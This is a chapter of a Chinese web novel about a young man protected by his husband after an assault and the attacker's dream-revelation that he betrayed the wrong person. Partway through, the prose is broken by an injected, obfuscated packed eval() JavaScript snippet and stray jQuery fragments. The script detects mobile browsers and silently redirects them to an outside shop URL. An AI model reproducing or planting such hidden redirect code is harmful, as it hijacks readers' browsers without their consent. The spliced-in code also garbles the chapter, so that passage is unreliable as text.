文趣网 > 都市小说 > 厌世假少爷被Daddy娇养后 > 10. 贺卿得高迁(4)
    温热的指腹轻触池漪脖颈上的指印。

    “别出声。疼不疼?”

    池漪乌黑的发丝凌乱地贴在脸侧,看着可怜兮兮的。

    他小幅度点点头,又摇摇头。看看薄引鹤,再次点点头。

    薄引鹤语气更冷。

    “问你疼不疼,不是让你看我脸色。”

    池漪只能点头。

    薄引鹤抬手,用虎口卡着池漪的下巴。

    他眉骨高耸,剑眉微微压下,天生带着几分不怒自威的压迫感。沉如冷潭的瞳仁凝视着池漪,指腹不轻不重地按了按池漪的脸颊。

    “长个记性。上次在生日宴,贺步青也是这么威胁你了?”

    池漪一下子又红了眼眶。

    他眼神闪避着,活像个被捏着后颈提起来的可怜小狐狸。

    薄引鹤见池漪这副样子,心里便有了判断。

    果然如此。

    他和池漪联姻的事对外保密,贺步青这样的外人本不应该知道。

    最重要的是,贺步青张口就能威胁池漪。

    如此熟练,恐怕早就不止一天两天这么做了。

    威胁池漪,甚至还敢找上门冲池漪动手——贺家可真是养了个好儿子。

    薄引鹤神情仍旧严厉。

    “我是不是说过,如果你被人威胁,应该在第一时间告诉我?”

    池漪说不了话,歪着身子去捞自己的手机,想要打字解释。

    可他刚一斜身,就被薄引鹤的手臂箍了回来。

    “我不在休息室装监控,是尊重你的个人隐私,但今天的事情证明这种隐私没必要留。明天开始,我会增加店里的监控。”

    池漪额头贴上薄引鹤的肩窝,无精打采地蹭了蹭,像是认错后的示好。

    薄引鹤攒起的眉头这才稍稍松开。

    ......算了。

    池漪向来是小孩子心性,表面看着乖,实际上记吃不记打,什么出格的事都敢干。但经历了了今天这遭意外,恐怕心里也在不安。

    以后再看紧些就是了。

    薄引鹤抬起手,抚摸池漪后背,低声说:

    “别害怕。我让律师去处理了,贺步青以后不会再出现在你面前。”

    *

    贺步青被关押在看守所。

    他一路上浑浑噩噩,大脑空白,几乎都想不起来他是怎么被逮捕的。

    喝下的那口酒好像在他肚腹里烧灼了起来,滚烫又冰凉。

    在看守所狭小的床上,贺步青和衣昏睡过去。

    ...

    贺步青做了一个梦。

    他似乎跪在冰冷硌人的地面上,眼前一片黑暗,手脚动弹不得,传来被捆缚的钝痛。

    耳边是滴滴答答的滴水声。

    不远处,有个人正狼狈慌张地求饶:

    “我没有!我从没抢池漪的功劳,是贺步青理解错了!”

    ......这是......池奕的声音?

    池奕声嘶力竭,平常的温和从容烟消云散。

    “我也不知道贺步青为什么会给池漪打那通电话!贺步青,你自己说啊!你到底对池漪说什么了?”

    男人低沉冰冷的声音响起。

    “贺步青。八年前,你的母亲欠下赌债,试图挪走你的全部存款。池漪拦住了她,替你家堵上了亏空。”

    “五年前,你母亲再次欠下巨款。她向债主透露了你的行踪,暗示债主绑架你,找贺家拿赎金。要不是池漪的保镖护着你,你现在早就死了。”

    “你母亲被绑匪所杀,是池漪收殓了她的尸骨,瞒着你,让你以为你有个爱你的好母亲。”

    “还有事业上的助力,钱财上的照顾,人脉上的提携。”

    “这些好处,池漪没对你说过,你便心安理得地受着。”

    “咚!”

    贺步青后心被猛踹一脚,剧痛中瞬间眼冒金星,心肺欲摧,一下子失去重心往前磕去,额头重重砸在地面上。

    ......八年前?赌债?

    什么时候的事?为什么他从来不知道?

    还有,什么叫收殓尸骨......这不是......这不是池奕做的吗......?

    “一年前,池奕冒领池漪的功劳,将罪责嫁祸到池漪头上。”

    池奕小声疯疯癫癫地重复“我没有”。

    男人声音越来越冷,几近冰封。

    “池漪怕他的身份牵连到你,准备把你调动去其他分部。而你背叛了他。”

    “贺步青,你背叛了他。池漪向你解释过,把证据递到你眼前,你却半个字都没信。”

    “以前我不追究你,是因为池漪不愿意。现在,你该承担代价了。”

    贺步青身体里有什么东西在坍塌。

    某种情绪像无头苍蝇一样在崩裂的漏洞里打转,撞出细细碎碎的咯吱声,惶惑迷茫,慌不择路。

    过了许久,贺步青才反应过来,那是他自己牙关打颤的声音。

    ......什么意思?

    帮他的人......一直在帮他的人......不是池奕?

    是池漪?

    怎么会是池漪?

    怎么可能?

    如果是池漪的话,那不就意味着——

    贺步青突然间毛骨悚然。

    ......一切都错了。

    他恨错了人,报答错了人。

    最重要的是......他报复错了人。

    他在池漪精神状况摇摇欲坠的时候,朝他最痛的地方捅刀,拿他的痛楚取乐。

    他亲手把他的小王子推下悬崖。

    贺步青被万劫不复的恐慌淹没,猛地挣扎起来。

    “......池漪呢?池漪在哪?!池漪!我要见池漪——”

    不知为何,周遭一片死寂,下属们噤若寒蝉。

    贺步青未曾察觉气氛,语气中含着不切实际的期冀。

    “池漪是不是在酒吧打工?他怎么样了?......他肯定很生气,我得想办法道歉......”

    薄引鹤缓声说:

    “我已经接他回家了。他身体不好,需要静养,你不用见他,也没资格见他。”

    随后薄引鹤转身离开,命令道:

    “把这两个人带走,不准让他们死。”

    池奕疯了一样,颠三倒四地尖叫。

    “■■!!我不做任务了!我要离开这里!”

    “不是我干的,不是我干的,是■■......!是■■命令我干的!我要离开这里!”

    ......<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579939|205078||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    梦境到这里戛然而止。

    贺步青大叫一声,惊恐地摔下床。

    看守的人皱着眉走过来查看情况。

    贺步青连滚带爬扑上去抓住栏杆。

    “池漪呢!我要见池漪!......”

    *

    几日后。

    池漪脖颈的伤口已变得乌紫。

    何卿一看见这伤口,就回想起贺步青的行凶现场,因此格外放心不下池漪,每次上班时都绕着池漪转。

    何卿去后厨忙了一圈,凑到池漪身边问:

    “老板你吃午饭了吗?我蒸了豆沙包和奶黄包,要不要吃点?”

    他问完了才觉得不妥。厨房蒸都是潦草充当午饭的速冻点心,池老板应该不爱吃这个。

    没想到,池漪居然点点头,打字回复:“要吃。”

    最后,两个人坐在散座区的沙发上,一起吃点心。

    池漪吃东西很秀气,捧着冒热气的奶黄包,小口小口咬着,像鸟雀啄食。

    他吃到一半,在手机上打字,举到何卿面前:

    “之前贺步青来找我的时候,你在我的休息室门口吗?”

    何卿腮帮子鼓囊囊,闻言愣了一下。

    “嗯。我听到那个人在吼你,就想撞开门,结果没成功。刚好你叔叔来找你,他一脚就把门踹开了。”

    池漪苍白的眉眼平静无澜,并未反驳“叔叔”这个称呼。

    其实,池漪只记得何卿是A大的学生,却记不得是怎么认识他的。

    上辈子池漪逃离池家时,身上只带了一点现金,像个无头苍蝇般胡乱换乘了几次大巴,远远离开A市。

    等下车时,他手腕的伤口已经发炎,没走几步便晕倒在路边。

    何卿像个随机刷新的NPC一样,突然就出现在那个偏远小县城里,还精准地辨认出了池漪的身份,把他捡回家。

    那时池漪的精神状态糟糕至极,何卿却带他回家,帮他处理伤口、悉心照顾,直至他身体渐渐好转。

    现在想想,何卿真是心大,也不怕他发病把他家给砸了。

    池漪渐渐恢复,找理由说要去投奔亲戚,向何卿辞行。

    何卿搜搜刮刮,把新取出来的存款递给池漪。

    “我家人之前生病欠了债,也要留出妹妹读书的钱。所以,我能动用的存款不多,就这些了,都给你。”

    “池漪,我不知道你在躲谁,但如果你以后需要帮助,就还来找我吧。虽然我没什么钱,但家里多双筷子还是没问题。”

    何卿手里的现金,一共8477.69元,有零有整。

    池漪接过钱。

    在出门之前,又悄悄将钱塞回了何卿的背包。

    几年里池漪在不断地经历各种各样的背叛,除了薄引鹤和妈妈外,何卿是唯一一个愿意向他伸出援手的人。

    现在,这个奇怪的何卿就坐在池漪对面。

    池漪小口吃着奶黄包,突然很想问一问何卿——那个时候,你为什么要帮我呢?

    可这已经是远在上一世的问题了。这一世的何卿回答不了池漪。

    但还有个问题,池漪可以问一问现在的何卿。

    池漪在手机上打完字,举到何卿面前:

    “你家里人治病,还缺多少钱?”